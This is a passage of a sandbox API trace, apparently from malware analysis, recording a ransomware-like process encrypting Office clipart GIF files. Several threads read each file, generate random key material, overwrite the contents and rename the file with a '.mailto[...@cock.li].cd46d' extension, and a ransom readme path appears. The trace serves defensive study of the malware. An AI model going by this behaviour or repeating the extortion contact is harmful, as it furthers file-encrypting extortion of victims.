Flags=0x0, BaseAddress=0x5ec9278) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0390) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d973d8) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92a0) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9340) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9368) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.546] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" [0061.546] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.546] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1112f734, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.547] NtQueryInformationFile (in: FileHandle=0x1244, IoStatusBlock=0x1112f740, FileInformation=0x1112f718, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1112f740, FileInformation=0x1112f718) returned 0x0 [0061.547] NtSetInformationFile (FileHandle=0x1244, IoStatusBlock=0x1112f740, FileInformation=0x1112f718, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.549] FlushFileBuffers (hFile=0x1244) returned 1 [0062.198] CloseHandle (hObject=0x1244) returned 1 [0062.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cde50 [0062.658] wcscpy (in: _Dest=0x97cde50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.658] wcscat (in: _Dest=0x97cde50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cde50) returned 1 [0063.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f94c0) returned 1 Thread: id = 1062 os_tid = 0xdf8 [0056.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0060.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", dwFileAttributes=0x20) returned 1 [0060.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd6c [0060.815] GetFileSizeEx (in: hFile=0xd6c, lpFileSize=0x1538fa08 | out: lpFileSize=0x1538fa08*=7583) returned 1 [0060.815] SetFilePointerEx (in: hFile=0xd6c, liDistanceToMove=0x1d9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.815] ReadFile (in: hFile=0xd6c, lpBuffer=0x1538f98c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1538f988, lpOverlapped=0x0 | out: lpBuffer=0x1538f98c*, lpNumberOfBytesRead=0x1538f988*=0x4, lpOverlapped=0x0) returned 1 [0060.817] SetFilePointerEx (in: hFile=0xd6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367f0 [0060.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0060.817] NtQuerySystemTime (in: CurrentTime=0x1538f968 | out: CurrentTime=0x1538f968*=132174898248012000) returned 0x0 [0060.817] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x38dbac25 [0060.817] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x25dd27f3 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x1756b2ed [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x3de83806 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x10006d73 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x6ad07871 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x3106adf8 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x811a65c [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x4f8e3bbc [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x58a34124 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x94fc15b [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x62c9a953 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x7d415458 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x7a3be67e [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x34bd4b96 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x772fad43 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x16ab4fed [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x1e6fde17 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x78d7d500 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x5706a56 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x51ce77e4 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x1dc2f4d5 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x30de1064 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x5544b0ba [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0xc743258 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0xe6fe1f2 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x2b280495 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x4889e911 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x5ffe22b8 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x6d5fa831 [0060.818] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x1062d8b5 [0060.819] RtlRandomEx (in: Seed=0x1538f974 | out: Seed=0x1538f974) returned 0x50001a80 [0060.830] ReadFile (in: hFile=0xd6c, lpBuffer=0x9706908, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x1538f964, lpOverlapped=0x0 | out: lpBuffer=0x9706908*, lpNumberOfBytesRead=0x1538f964*=0x1d9f, lpOverlapped=0x0) returned 1 [0060.831] SetFilePointerEx (in: hFile=0xd6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.831] WriteFile (in: hFile=0xd6c, lpBuffer=0x9713110*, nNumberOfBytesToWrite=0x1d9f, lpNumberOfBytesWritten=0x1538f960, lpOverlapped=0x0 | out: lpBuffer=0x9713110*, lpNumberOfBytesWritten=0x1538f960*=0x1d9f, lpOverlapped=0x0) returned 1 [0062.902] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92c8 [0062.902] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9368 [0062.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9368) returned 1 [0062.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9713110) returned 1 [0062.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9706908) returned 1 [0062.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0062.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0062.902] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cf020 [0062.902] SetFilePointerEx (in: hFile=0xd6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.902] WriteFile (in: hFile=0xd6c, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1538f9c8, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x1538f9c8*=0x109, lpOverlapped=0x0) returned 1 [0062.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0062.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf050) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9368) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92c8) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4367f0) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec88f0) returned 1 [0062.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8918) returned 1 [0062.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0062.965] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" [0062.965] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.965] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1538f980, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0063.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435288) returned 1 [0063.027] NtQueryInformationFile (in: FileHandle=0xd6c, IoStatusBlock=0x1538f98c, FileInformation=0x1538f964, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1538f98c, FileInformation=0x1538f964) returned 0x0 [0063.027] NtSetInformationFile (FileHandle=0xd6c, IoStatusBlock=0x1538f98c, FileInformation=0x1538f964, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0063.030] FlushFileBuffers (hFile=0xd6c) returned 1 [0066.200] CloseHandle (hObject=0xd6c) Thread: id = 1063 os_tid = 0xdfc [0056.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0060.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", dwFileAttributes=0x20) returned 1 [0060.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x744 [0060.832] GetFileSizeEx (in: hFile=0x744, lpFileSize=0x1564fc48 | out: lpFileSize=0x1564fc48*=6984) returned 1 [0060.832] SetFilePointerEx (in: hFile=0x744, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.832] ReadFile (in: hFile=0x744, lpBuffer=0x1564fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1564fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1564fbcc*, lpNumberOfBytesRead=0x1564fbc8*=0x4, lpOverlapped=0x0) returned 1 [0060.834] SetFilePointerEx (in: hFile=0x744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0060.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8940 [0060.834] NtQuerySystemTime (in: CurrentTime=0x1564fba8 | out: CurrentTime=0x1564fba8*=132174898248168000) returned 0x0 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x795a01af [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x3831df2 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x12bc90eb [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x78400543 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x2be6b7a2 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x58574df5 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x67f46116 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x4c482cd6 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x362c8d4c [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x79f44f02 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x27e10fa8 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x7d5787c2 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x159d561c [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x1fd2ca7f [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x5b98e4eb [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x6d10e314 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x22023e15 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0xb58c395 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x26fb1861 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x6af79e96 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x1e1885b7 [0060.834] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x699fe90e [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x411f6092 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x44856b2f [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x39421c56 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x7a96d928 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x250f04f0 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x3058bba0 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x30d12c29 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0xb7fa0fd [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x17093fe4 [0060.835] RtlRandomEx (in: Seed=0x1564fbb4 | out: Seed=0x1564fbb4) returned 0x4ce09e26 [0060.846] ReadFile (in: hFile=0x744, lpBuffer=0x4bafd8, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x1564fba4, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesRead=0x1564fba4*=0x1b48, lpOverlapped=0x0) returned 1 [0060.847] SetFilePointerEx (in: hFile=0x744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.847] WriteFile (in: hFile=0x744, lpBuffer=0x4c77e0*, nNumberOfBytesToWrite=0x1b48, lpNumberOfBytesWritten=0x1564fba0, lpOverlapped=0x0 | out: lpBuffer=0x4c77e0*, lpNumberOfBytesWritten=0x1564fba0*=0x1b48, lpOverlapped=0x0) returned 1 [0062.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92f0 [0062.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9318 [0062.903] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9318) returned 1 [0062.903] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c77e0) returned 1 [0062.903] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0062.903] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0062.903] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4026d8) returned 1 [0062.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cefc0 [0062.903] SetFilePointerEx (in: hFile=0x744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.903] WriteFile (in: hFile=0x744, lpBuffer=0x12d7d688*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1564fc08, lpOverlapped=0x0 | out: lpBuffer=0x12d7d688*, lpNumberOfBytesWritten=0x1564fc08*=0x109, lpOverlapped=0x0) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d688) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceff0) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9318) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefc0) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92f0) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec88c8) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8968) returned 1 [0062.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8990) returned 1 [0062.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0062.966] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" [0062.966] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1564fbc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf98b0 [0063.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4338a8) returned 1 [0063.028] NtQueryInformationFile (in: FileHandle=0x744, IoStatusBlock=0x1564fbcc, FileInformation=0x1564fba4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1564fbcc, FileInformation=0x1564fba4) returned 0x0 [0063.028] NtSetInformationFile (FileHandle=0x744, IoStatusBlock=0x1564fbcc, FileInformation=0x1564fba4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.029] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.029] FlushFileBuffers (hFile=0x744) returned 1 [0066.199] CloseHandle (hObject=0x744) Thread: id = 1064 os_tid = 0xe00 [0056.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0061.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", dwFileAttributes=0x20) returned 1 [0061.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1248 [0061.212] GetFileSizeEx (in: hFile=0x1248, lpFileSize=0x156ef7e8 | out: lpFileSize=0x156ef7e8*=13254) returned 1 [0061.212] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x33c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.212] ReadFile (in: hFile=0x1248, lpBuffer=0x156ef76c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x156ef768, lpOverlapped=0x0 | out: lpBuffer=0x156ef76c*, lpNumberOfBytesRead=0x156ef768*=0x4, lpOverlapped=0x0) returned 1 [0061.215] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9318 [0061.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9390 [0061.215] NtQuerySystemTime (in: CurrentTime=0x156ef748 | out: CurrentTime=0x156ef748*=132174898251912000) returned 0x0 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x60c4d48f [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x2c237640 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x47323fb0 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x1d08e4e2 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x22291c8e [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x3f70a99b [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x13bb29ac [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x7d52853b [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x72775612 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x165d0d38 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x5ff54e79 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x64fab804 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x78b1b631 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0xc5a12ac [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: 